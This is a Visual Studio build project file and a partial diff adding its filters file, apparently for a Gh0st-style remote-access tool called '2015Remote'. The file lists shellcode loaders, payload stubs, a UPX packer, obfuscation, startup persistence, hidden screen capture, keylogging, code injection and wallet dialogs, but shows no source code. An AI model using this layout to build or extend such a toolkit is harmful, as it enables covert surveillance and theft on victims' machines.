<FunctionLevelLinking>true</FunctionLevelLinking>
<PreprocessorDefinitions>WIN32;WINDOWS;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;CBC;_WIN32_WINNT=0x0602;WINVER=0x0602;NTDDI_VERSION=0x06020000;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<StringPooling>true</StringPooling>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<OpenMPSupport>false</OpenMPSupport>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions>
<OutputFile>$(SolutionDir)Bin\$(TargetName)_x64$(TargetExt)</OutputFile>
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
</Link>
<Midl>
<MkTypLibCompatible>false</MkTypLibCompatible>
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</Midl>
<ResourceCompile>
<Culture>0x0804</Culture>
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ResourceCompile>
</ItemDefinitionGroup>
<ItemGroup>
<None Include="..\..\linux\ghost" />
<None Include="..\..\Release\ghost.exe" />
<None Include="..\..\Release\SCLoader.exe" />
<None Include="..\..\Release\ServerDll.dll" />
<None Include="..\..\Release\TestRun.exe" />
<None Include="..\..\Release\TinyRun.dll" />
<None Include="..\..\x64\Release\ghost.exe" />
<None Include="..\..\x64\Release\SCLoader.exe" />
<None Include="..\..\x64\Release\ServerDll.dll" />
<None Include="..\..\x64\Release\TestRun.exe" />
<None Include="..\..\x64\Release\TinyRun.dll" />
<None Include="res\1.cur" />
<None Include="res\2.cur" />
<None Include="res\2015Remote.ico" />
<None Include="res\3.cur" />
<None Include="res\3rd\frpc.dll" />
<None Include="res\3rd\frps.dll" />
<None Include="res\3rd\rcedit.exe" />
<None Include="res\3rd\SCLoader_32.exe" />
<None Include="res\3rd\SCLoader_64.exe" />
<None Include="res\3rd\upx.exe" />
<None Include="res\4.cur" />
<None Include="res\arrow.cur" />
<None Include="res\audio.ico" />
<None Include="res\bitmap\bmp00001.bmp" />
<None Include="res\Bitmap\Online.bmp" />
<None Include="res\bitmap\toolbar1.bmp" />
<None Include="res\Bitmap\ToolBar_File.bmp" />
<None Include="res\Bitmap\ToolBar_Main.bmp" />
<None Include="res\cmdshell.ico" />
<None Include="res\cursor5.cur" />
<None Include="res\Cur\1.cur" />
<None Include="res\Cur\2.cur" />
<None Include="res\Cur\3.cur" />
<None Include="res\Cur\4.cur" />
<None Include="res\Cur\arrow.cur" />
<None Include="res\Cur\Drag.cur" />
<None Include="res\Cur\MutiDrag.cur" />
<None Include="res\dword.ico" />
<None Include="res\file.ico" />
<None Include="res\frpc.dll" />
<None Include="res\My2015Remote.rc2" />
<None Include="res\pc.ico" />
<None Include="res\rcedit.exe" />
<None Include="res\SCLoader_32.exe" />
<None Include="res\SCLoader_64.exe" />
<None Include="res\string.ico" />
<None Include="res\upx.exe" />
<None Include="stub2\stub32.bin" />
<None Include="stub2\stub64.bin" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\..\client\Audio.h" />
<ClInclude Include="..\..\client\MemoryModule.h" />
<ClInclude Include="..\..\client\reg_startup.h" />
<ClInclude Include="..\..\common\aes.h" />
<ClInclude Include="..\..\common\encrypt.h" />
<ClInclude Include="..\..\common\file_upload.h" />
<ClInclude Include="..\..\common\ikcp.h" />
<ClInclude Include="..\..\common\iniFile.h" />
<ClInclude Include="..\..\common\obfs.h" />
<ClInclude Include="..\..\common\SafeString.h" />
<ClInclude Include="2015Remote.h" />
<ClInclude Include="2015RemoteDlg.h" />
<ClInclude Include="adapter.h" />
<ClInclude Include="AudioDlg.h" />
<ClInclude Include="Bmp2Video.h" />
<ClInclude Include="Buffer.h" />
<ClInclude Include="BuildDlg.h" />
<ClInclude Include="CClientListDlg.h" />
<ClInclude Include="CDlgFileSend.h" />
<ClInclude Include="CDrawingBoard.h" />
<ClInclude Include="CGridDialog.h" />
<ClInclude Include="Chat.h" />
<ClInclude Include="CLicenseDlg.h" />
<ClInclude Include="CListCtrlEx.h" />
<ClInclude Include="context.h" />
<ClInclude Include="CPasswordDlg.h" />
<ClInclude Include="FeatureFlags.h" />
<ClInclude Include="LicenseFile.h" />
<ClInclude Include="CRcEditDlg.h" />
<ClInclude Include="CTextDlg.h" />
<ClInclude Include="CUpdateDlg.h" />
<ClInclude Include="CWalletDlg.h" />
<ClInclude Include="DateVerify.h" />
<ClInclude Include="DecryptDlg.h" />
<ClInclude Include="EditDialog.h" />
<ClInclude Include="FileManagerDlg.h" />
<ClInclude Include="FileTransferModeDlg.h" />
<ClInclude Include="file\CFileListCtrl.h" />
<ClInclude Include="file\CFileManagerDlg.h" />
<ClInclude Include="file\CFileTransferModeDlg.h" />
<ClInclude Include="HideScreenSpyDlg.h" />
<ClInclude Include="HostInfo.h" />
<ClInclude Include="InputDlg.h" />
<ClInclude Include="IOCPKCPServer.h" />
<ClInclude Include="IOCPServer.h" />
<ClInclude Include="IOCPUDPServer.h" />
<ClInclude Include="IPHistoryDlg.h" />
<ClInclude Include="KeyBoardDlg.h" />
<ClInclude Include="LangManager.h" />
<ClInclude Include="NetworkDlg.h" />
<ClInclude Include="NotifyConfig.h" />
<ClInclude Include="NotifyManager.h" />
<ClInclude Include="NotifySettingsDlg.h" />
<ClInclude Include="FeatureLimitsDlg.h" />
<ClInclude Include="FrpsForSubDlg.h" />
<ClInclude Include="proxy\HPSocket.h" />
<ClInclude Include="proxy\HPTypeDef.h" />
<ClInclude Include="proxy\ProxyConnectServer.h" />
<ClInclude Include="proxy\ProxyMapDlg.h" />
<ClInclude Include="proxy\SocketInterface.h" />
<ClInclude Include="pwd_gen.h" />
<ClInclude Include="RegisterDlg.h" />
<ClInclude Include="Resource.h" />
<ClInclude Include="ScreenSpyDlg.h" />
<ClInclude Include="SearchBarDlg.h" />
<ClInclude Include="Server.h" />
<ClInclude Include="ServicesDlg.h" />
<ClInclude Include="SettingDlg.h" />
<ClInclude Include="ShellDlg.h" />
<ClInclude Include="TerminalDlg.h" />
<ClInclude Include="SortListCtrl.h" />
<ClInclude Include="SplashDlg.h" />
<ClInclude Include="stdafx.h" />
<ClInclude Include="SystemDlg.h" />
<ClInclude Include="sys\CCreateTaskDlg.h" />
<ClInclude Include="sys\CInjectCodeDlg.h" />
<ClInclude Include="sys\MachineDlg.h" />
<ClInclude Include="sys\ServiceInfoDlg.h" />
<ClInclude Include="TalkDlg.h" />
<ClInclude Include="targetver.h" />
<ClInclude Include="ToolbarDlg.h" />
<ClInclude Include="TrueColorToolBar.h" />
<ClInclude Include="UIBranding.h" />
<ClInclude Include="VideoDlg.h" />
<ClInclude Include="zconf.h" />
<ClInclude Include="zlib.h" />
<ClInclude Include="ServerServiceWrapper.h" />
<ClInclude Include="ServerSessionMonitor.h" />
<ClInclude Include="CIconButton.h" />
<ClInclude Include="TerminalModuleLoader.h" />
<ClInclude Include="WebService.h" />
<ClInclude Include="WebServiceAuth.h" />
<ClInclude Include="WebPage.h" />
<ClInclude Include="SimpleWebSocket.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="..\..\client\Audio.cpp" />
<ClCompile Include="msvc_compat.c">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="WebService.cpp" />
<ClCompile Include="..\..\client\MemoryModule.c">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="..\..\client\reg_startup.c">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="..\..\common\aes.c">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="..\..\common\file_upload.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="..\..\common\ikcp.c">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="2015Remote.cpp" />
<ClCompile Include="2015RemoteDlg.cpp" />
<ClCompile Include="AudioDlg.cpp" />
<ClCompile Include="Bmp2Video.cpp" />
<ClCompile Include="Buffer.cpp" />
<ClCompile Include="BuildDlg.cpp" />
<ClCompile Include="CClientListDlg.cpp" />
<ClCompile Include="CDlgFileSend.cpp" />
<ClCompile Include="CDrawingBoard.cpp" />
<ClCompile Include="CGridDialog.cpp" />
<ClCompile Include="Chat.cpp" />
<ClCompile Include="CLicenseDlg.cpp" />
<ClCompile Include="CListCtrlEx.cpp" />
<ClCompile Include="CPasswordDlg.cpp" />
<ClCompile Include="LicenseFile.cpp" />
<ClCompile Include="CRcEditDlg.cpp" />
<ClCompile Include="CTextDlg.cpp" />
<ClCompile Include="CUpdateDlg.cpp" />
<ClCompile Include="CWalletDlg.cpp" />
<ClCompile Include="DecryptDlg.cpp" />
<ClCompile Include="EditDialog.cpp" />
<ClCompile Include="FileManagerDlg.cpp" />
<ClCompile Include="FileTransferModeDlg.cpp" />
<ClCompile Include="file\CFileListCtrl.cpp" />
<ClCompile Include="file\CFileManagerDlg.cpp" />
<ClCompile Include="file\CFileTransferModeDlg.cpp" />
<ClCompile Include="HideScreenSpyDlg.cpp" />
<ClCompile Include="InputDlg.cpp" />
<ClCompile Include="IOCPKCPServer.cpp" />
<ClCompile Include="IOCPServer.cpp" />
<ClCompile Include="IOCPUDPServer.cpp" />
<ClCompile Include="IPHistoryDlg.cpp" />
<ClCompile Include="KeyBoardDlg.cpp" />
<ClCompile Include="NetworkDlg.cpp" />
<ClCompile Include="NotifyManager.cpp" />
<ClCompile Include="NotifySettingsDlg.cpp" />
<ClCompile Include="FeatureLimitsDlg.cpp" />
<ClCompile Include="FrpsForSubDlg.cpp" />
<ClCompile Include="Loader.c">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="main.cpp" />
<ClCompile Include="proxy\ProxyConnectServer.cpp" />
<ClCompile Include="proxy\ProxyMapDlg.cpp" />
<ClCompile Include="pwd_gen.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="RegisterDlg.cpp" />
<ClCompile Include="ScreenSpyDlg.cpp" />
<ClCompile Include="SearchBarDlg.cpp" />
<ClCompile Include="ServicesDlg.cpp" />
<ClCompile Include="SettingDlg.cpp" />
<ClCompile Include="ShellDlg.cpp" />
<ClCompile Include="TerminalDlg.cpp" />
<ClCompile Include="SortListCtrl.cpp" />
<ClCompile Include="SplashDlg.cpp" />
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
<ClCompile Include="SystemDlg.cpp" />
<ClCompile Include="sys\CCreateTaskDlg.cpp" />
<ClCompile Include="sys\CInjectCodeDlg.cpp" />
<ClCompile Include="sys\MachineDlg.cpp" />
<ClCompile Include="sys\ServiceInfoDlg.cpp" />
<ClCompile Include="TalkDlg.cpp" />
<ClCompile Include="ToolbarDlg.cpp" />
<ClCompile Include="TrueColorToolBar.cpp" />
<ClCompile Include="VideoDlg.cpp" />
<ClCompile Include="ServerServiceWrapper.cpp" />
<ClCompile Include="ServerSessionMonitor.cpp" />
<ClCompile Include="CIconButton.cpp" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="2015Remote.rc" />
</ItemGroup>
<ItemGroup>
<Text Include="..\..\ReadMe.md" />
</ItemGroup>
<ItemGroup>
<Image Include="res\Bitmap\AddWatch.bmp" />
<Image Include="res\Bitmap\AdminRun.bmp" />
<Image Include="res\Bitmap\AssignTo.bmp" />
<Image Include="res\Bitmap\AuthGen.bmp" />
<Image Include="res\Bitmap\authorize.bmp" />
<Image Include="res\Bitmap\Backup.bmp" />
<Image Include="res\Bitmap\CancelShare.bmp" />
<Image Include="res\Bitmap\delete.bmp" />
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
<Image Include="res\Bitmap\EditGroup.bmp" />
<Image Include="res\Bitmap\Exit.bmp" />
<Image Include="res\Bitmap\Feedback.bmp" />
<Image Include="res\Bitmap\FRP.bmp" />
<Image Include="res\Bitmap\GenMaster.bmp" />
<Image Include="res\Bitmap\GrayDesktop.bmp" />
<Image Include="res\Bitmap\Help.bmp" />
<Image Include="res\Bitmap\History.bmp" />
<Image Include="res\Bitmap\HostProxy.bmp" />
<Image Include="res\Bitmap\Import.bmp" />
<Image Include="res\Bitmap\ImportLicense.bmp" />
<Image Include="res\Bitmap\Inject.bmp" />
<Image Include="res\Bitmap\InputPassword.bmp" />
<Image Include="res\Bitmap\Keyboard.bmp" />
<Image Include="res\Bitmap\Language.bmp" />
<Image Include="res\Bitmap\LicenseMgr.bmp" />
<Image Include="res\Bitmap\Log.bmp" />
<Image Include="res\Bitmap\LoginNotify.bmp" />
<Image Include="res\Bitmap\Logout.bmp" />
<Image Include="res\Bitmap\Network.bmp" />
<Image Include="res\Bitmap\note.bmp" />
<Image Include="res\Bitmap\Notify.bmp" />
<Image Include="res\Bitmap\PEEdit.bmp" />
<Image Include="res\Bitmap\Plugin.bmp" />
<Image Include="res\Bitmap\PortProxyStd.bmp" />
<Image Include="res\Bitmap\PrivateScreen.bmp" />
<Image Include="res\Bitmap\proxy.bmp" />
<Image Include="res\Bitmap\Reboot.bmp" />
<Image Include="res\Bitmap\Refresh.bmp" />
<Image Include="res\Bitmap\remove.bmp" />
<Image Include="res\Bitmap\RequestAuth.bmp" />
<Image Include="res\Bitmap\Settings.bmp" />
<Image Include="res\Bitmap\Share.bmp" />
<Image Include="res\Bitmap\Show.bmp" />
<Image Include="res\Bitmap\Shutdown.bmp" />
<Image Include="res\Bitmap\SpeedDesktop.bmp" />
<Image Include="res\Bitmap\Trial.bmp" />
<Image Include="res\Bitmap\unauthorize.bmp" />
<Image Include="res\Bitmap\update.bmp" />
<Image Include="res\Bitmap\VirtualDesktop.bmp" />
<Image Include="res\Bitmap\Wallet.bmp" />
<Image Include="res\Bitmap_4.bmp" />
<Image Include="res\Bitmap_5.bmp" />
<Image Include="res\chat.ico" />
<Image Include="res\decrypt.ico" />
<Image Include="res\delete.bmp" />
<Image Include="res\DrawingBoard.ico" />
<Image Include="res\file\FILE.ico" />
<Image Include="res\file\Icon_A.ico" />
<Image Include="res\file\Icon_C.ico" />
<Image Include="res\file\Icon_D.ico" />
<Image Include="res\file\Icon_E.ico" />
<Image Include="res\file\Icon_F.ico" />
<Image Include="res\file\Icon_G.ico" />
<Image Include="res\keyboard.ico" />
<Image Include="res\machine.ico" />
<Image Include="res\password.ico" />
<Image Include="res\proxifler.ico" />
<Image Include="res\screen.ico" />
<Image Include="res\system.ico" />
<Image Include="res\toolbar1.bmp" />
<Image Include="res\toolbar2.bmp" />
<Image Include="res\ToolBar_Disable.bmp" />
<Image Include="res\ToolBar_Enable.bmp" />
<Image Include="res\ToolBar_Main.bmp" />
<Image Include="res\ToolBar_Main_Res.bmp" />
<Image Include="res\update.bmp" />
<Image Include="res\webcam.ico" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
<ProjectExtensions>
<VisualStudio>
<UserProperties RESOURCE_FILE="2015Remote.rc" />
</VisualStudio>
</ProjectExtensions>
</Project>

View File

@@ -0,0 +1,328 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<ClCompile Include="..\..\client\Audio.cpp" />
<ClCompile Include="..\..\client\MemoryModule.c" />
<ClCompile Include="..\..\common\aes.c" />
<ClCompile Include="2015Remote.cpp" />
<ClCompile Include="2015RemoteDlg.cpp" />
<ClCompile Include="AudioDlg.cpp" />
<ClCompile Include="Buffer.cpp" />
<ClCompile Include="BuildDlg.cpp" />
<ClCompile Include="Chat.cpp" />
<ClCompile Include="CPasswordDlg.cpp" />
<ClCompile Include="LicenseFile.cpp" />
<ClCompile Include="CTextDlg.cpp" />
<ClCompile Include="DecryptDlg.cpp" />
<ClCompile Include="EditDialog.cpp" />
<ClCompile Include="FileManagerDlg.cpp" />
<ClCompile Include="FileTransferModeDlg.cpp" />
<ClCompile Include="HideScreenSpyDlg.cpp" />
<ClCompile Include="InputDlg.cpp" />
<ClCompile Include="IOCPServer.cpp" />
<ClCompile Include="KeyBoardDlg.cpp" />
<ClCompile Include="Loader.c" />
<ClCompile Include="proxy\ProxyConnectServer.cpp" />
<ClCompile Include="proxy\ProxyMapDlg.cpp" />
<ClCompile Include="pwd_gen.cpp" />
<ClCompile Include="RegisterDlg.cpp" />
<ClCompile Include="ScreenSpyDlg.cpp" />
<ClCompile Include="ServicesDlg.cpp" />
<ClCompile Include="SettingDlg.cpp" />
<ClCompile Include="ShellDlg.cpp" />
<ClCompile Include="TerminalDlg.cpp" />
<ClCompile Include="SortListCtrl.cpp" />
<ClCompile Include="stdafx.cpp" />
<ClCompile Include="SystemDlg.cpp" />
<ClCompile Include="sys\CCreateTaskDlg.cpp" />
<ClCompile Include="sys\CInjectCodeDlg.cpp" />
<ClCompile Include="sys\MachineDlg.cpp" />
<ClCompile Include="sys\ServiceInfoDlg.cpp" />
<ClCompile Include="TalkDlg.cpp" />
<ClCompile Include="TrueColorToolBar.cpp" />
<ClCompile Include="VideoDlg.cpp" />
<ClCompile Include="file\CFileManagerDlg.cpp">
<Filter>file</Filter>
</ClCompile>
<ClCompile Include="file\CFileTransferModeDlg.cpp">
<Filter>file</Filter>
</ClCompile>
<ClCompile Include="file\CFileListCtrl.cpp">
<Filter>file</Filter>
</ClCompile>
<ClCompile Include="IOCPUDPServer.cpp" />
<ClCompile Include="CDrawingBoard.cpp" />
<ClCompile Include="IOCPKCPServer.cpp" />
<ClCompile Include="..\..\common\ikcp.c" />
<ClCompile Include="CGridDialog.cpp" />
<ClCompile Include="CWalletDlg.cpp" />
<ClCompile Include="CRcEditDlg.cpp" />
<ClCompile Include="main.cpp" />
<ClCompile Include="Bmp2Video.cpp" />
<ClCompile Include="ServerServiceWrapper.cpp" />
<ClCompile Include="ServerSessionMonitor.cpp" />
<ClCompile Include="SplashDlg.cpp" />
<ClCompile Include="ToolbarDlg.cpp" />
<ClCompile Include="SearchBarDlg.cpp" />
<ClCompile Include="CDlgFileSend.cpp" />
<ClCompile Include="..\..\common\file_upload.cpp" />
<ClCompile Include="..\..\client\reg_startup.c" />
<ClCompile Include="CClientListDlg.cpp" />
<ClCompile Include="CUpdateDlg.cpp" />
<ClCompile Include="CListCtrlEx.cpp" />
<ClCompile Include="CIconButton.cpp" />
<ClCompile Include="CLicenseDlg.cpp" />
<ClCompile Include="NotifyManager.cpp" />
<ClCompile Include="NotifySettingsDlg.cpp" />
<ClCompile Include="FrpsForSubDlg.cpp" />
<ClCompile Include="NetworkDlg.cpp" />
<ClCompile Include="IPHistoryDlg.cpp" />
<ClCompile Include="FeatureLimitsDlg.cpp" />
<ClCompile Include="WebService.cpp" />
<ClCompile Include="msvc_compat.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\..\client\Audio.h" />
<ClInclude Include="..\..\client\MemoryModule.h" />
<ClInclude Include="..\..\common\aes.h" />
<ClInclude Include="..\..\common\encrypt.h" />
<ClInclude Include="..\..\common\iniFile.h" />
<ClInclude Include="2015Remote.h" />
<ClInclude Include="2015RemoteDlg.h" />
<ClInclude Include="adapter.h" />
<ClInclude Include="AudioDlg.h" />
<ClInclude Include="Buffer.h" />
<ClInclude Include="BuildDlg.h" />
<ClInclude Include="Chat.h" />
<ClInclude Include="CPasswordDlg.h" />
<ClInclude Include="LicenseFile.h" />
<ClInclude Include="CTextDlg.h" />
<ClInclude Include="DateVerify.h" />
<ClInclude Include="DecryptDlg.h" />
<ClInclude Include="EditDialog.h" />
<ClInclude Include="FileManagerDlg.h" />
<ClInclude Include="FileTransferModeDlg.h" />
<ClInclude Include="HideScreenSpyDlg.h" />
<ClInclude Include="InputDlg.h" />
<ClInclude Include="IOCPServer.h" />
<ClInclude Include="KeyBoardDlg.h" />
<ClInclude Include="proxy\HPSocket.h" />
<ClInclude Include="proxy\HPTypeDef.h" />
<ClInclude Include="proxy\ProxyConnectServer.h" />
<ClInclude Include="proxy\ProxyMapDlg.h" />
<ClInclude Include="proxy\SocketInterface.h" />
<ClInclude Include="pwd_gen.h" />
<ClInclude Include="RegisterDlg.h" />
<ClInclude Include="Resource.h" />
<ClInclude Include="ScreenSpyDlg.h" />
<ClInclude Include="ServicesDlg.h" />
<ClInclude Include="SettingDlg.h" />
<ClInclude Include="ShellDlg.h" />
<ClInclude Include="TerminalDlg.h" />
<ClInclude Include="SortListCtrl.h" />
<ClInclude Include="stdafx.h" />
<ClInclude Include="SystemDlg.h" />
<ClInclude Include="sys\CCreateTaskDlg.h" />
<ClInclude Include="sys\CInjectCodeDlg.h" />
<ClInclude Include="sys\MachineDlg.h" />
<ClInclude Include="sys\ServiceInfoDlg.h" />
<ClInclude Include="TalkDlg.h" />
<ClInclude Include="targetver.h" />
<ClInclude Include="TrueColorToolBar.h" />
<ClInclude Include="VideoDlg.h" />
<ClInclude Include="zconf.h" />
<ClInclude Include="zlib.h" />
<ClInclude Include="file\CFileManagerDlg.h">
<Filter>file</Filter>
</ClInclude>
<ClInclude Include="file\CFileTransferModeDlg.h">
<Filter>file</Filter>
</ClInclude>
<ClInclude Include="file\CFileListCtrl.h">
<Filter>file</Filter>
</ClInclude>
<ClInclude Include="IOCPUDPServer.h" />
<ClInclude Include="Server.h" />
<ClInclude Include="CDrawingBoard.h" />
<ClInclude Include="IOCPKCPServer.h" />
<ClInclude Include="..\..\common\ikcp.h" />
<ClInclude Include="CGridDialog.h" />
<ClInclude Include="CWalletDlg.h" />
<ClInclude Include="CRcEditDlg.h" />
<ClInclude Include="..\..\common\obfs.h" />
<ClInclude Include="..\..\common\file_upload.h" />
<ClInclude Include="Bmp2Video.h" />
<ClInclude Include="ServerServiceWrapper.h" />
<ClInclude Include="ServerSessionMonitor.h" />
<ClInclude Include="SplashDlg.h" />
<ClInclude Include="ToolbarDlg.h" />
<ClInclude Include="SearchBarDlg.h" />
<ClInclude Include="CDlgFileSend.h" />
<ClInclude Include="..\..\client\reg_startup.h" />
<ClInclude Include="HostInfo.h" />
<ClInclude Include="CClientListDlg.h" />
<ClInclude Include="context.h" />
<ClInclude Include="CUpdateDlg.h" />
<ClInclude Include="CListCtrlEx.h" />
<ClInclude Include="LangManager.h" />
<ClInclude Include="CIconButton.h" />
<ClInclude Include="CLicenseDlg.h" />
<ClInclude Include="NotifyConfig.h" />
<ClInclude Include="NotifyManager.h" />
<ClInclude Include="NotifySettingsDlg.h" />
<ClInclude Include="FrpsForSubDlg.h" />
<ClInclude Include="TerminalModuleLoader.h" />
<ClInclude Include="..\..\common\SafeString.h" />
<ClInclude Include="NetworkDlg.h" />
<ClInclude Include="IPHistoryDlg.h" />
<ClInclude Include="FeatureLimitsDlg.h" />
<ClInclude Include="FeatureFlags.h" />
<ClInclude Include="UIBranding.h" />
<ClInclude Include="WebService.h" />
<ClInclude Include="WebServiceAuth.h" />
<ClInclude Include="WebPage.h" />
<ClInclude Include="SimpleWebSocket.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="2015Remote.rc" />
</ItemGroup>
<ItemGroup>
<Image Include="res\Bitmap\authorize.bmp" />
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
<Image Include="res\Bitmap\GrayDesktop.bmp" />
<Image Include="res\Bitmap\note.bmp" />
<Image Include="res\Bitmap\proxy.bmp" />
<Image Include="res\Bitmap\Share.bmp" />
<Image Include="res\Bitmap\SpeedDesktop.bmp" />
<Image Include="res\Bitmap\unauthorize.bmp" />
<Image Include="res\Bitmap\VirtualDesktop.bmp" />
<Image Include="res\Bitmap_4.bmp" />
<Image Include="res\Bitmap_5.bmp" />
<Image Include="res\chat.ico" />
<Image Include="res\decrypt.ico" />
<Image Include="res\delete.bmp" />
<Image Include="res\keyboard.ico" />
<Image Include="res\machine.ico" />
<Image Include="res\password.ico" />
<Image Include="res\proxifler.ico" />
<Image Include="res\screen.ico" />
<Image Include="res\system.ico" />
<Image Include="res\toolbar1.bmp" />
<Image Include="res\toolbar2.bmp" />
<Image Include="res\update.bmp" />
<Image Include="res\webcam.ico" />
<Image Include="res\file\FILE.ico" />
<Image Include="res\file\Icon_A.ico" />
<Image Include="res\file\Icon_C.ico" />
<Image Include="res\file\Icon_D.ico" />
<Image Include="res\file\Icon_E.ico" />
<Image Include="res\file\Icon_F.ico" />
<Image Include="res\file\Icon_G.ico" />
<Image Include="res\DrawingBoard.ico" />
<Image Include="res\Bitmap\AssignTo.bmp" />
<Image Include="res\Bitmap\AddWatch.bmp" />
<Image Include="res\Bitmap\AdminRun.bmp" />
<Image Include="res\Bitmap\remove.bmp" />
<Image Include="res\Bitmap\PrivateScreen.bmp" />
<Image Include="res\Bitmap\EditGroup.bmp" />
<Image Include="res\Bitmap\Inject.bmp" />
<Image Include="res\Bitmap\HostProxy.bmp" />
<Image Include="res\Bitmap\LoginNotify.bmp" />
<Image Include="res\ToolBar_Main_Res.bmp" />
<Image Include="res\ToolBar_Main.bmp" />
<Image Include="res\ToolBar_Enable.bmp" />
<Image Include="res\ToolBar_Disable.bmp" />
<Image Include="res\Bitmap\delete.bmp" />
<Image Include="res\Bitmap\update.bmp" />
<Image Include="res\Bitmap\Shutdown.bmp" />
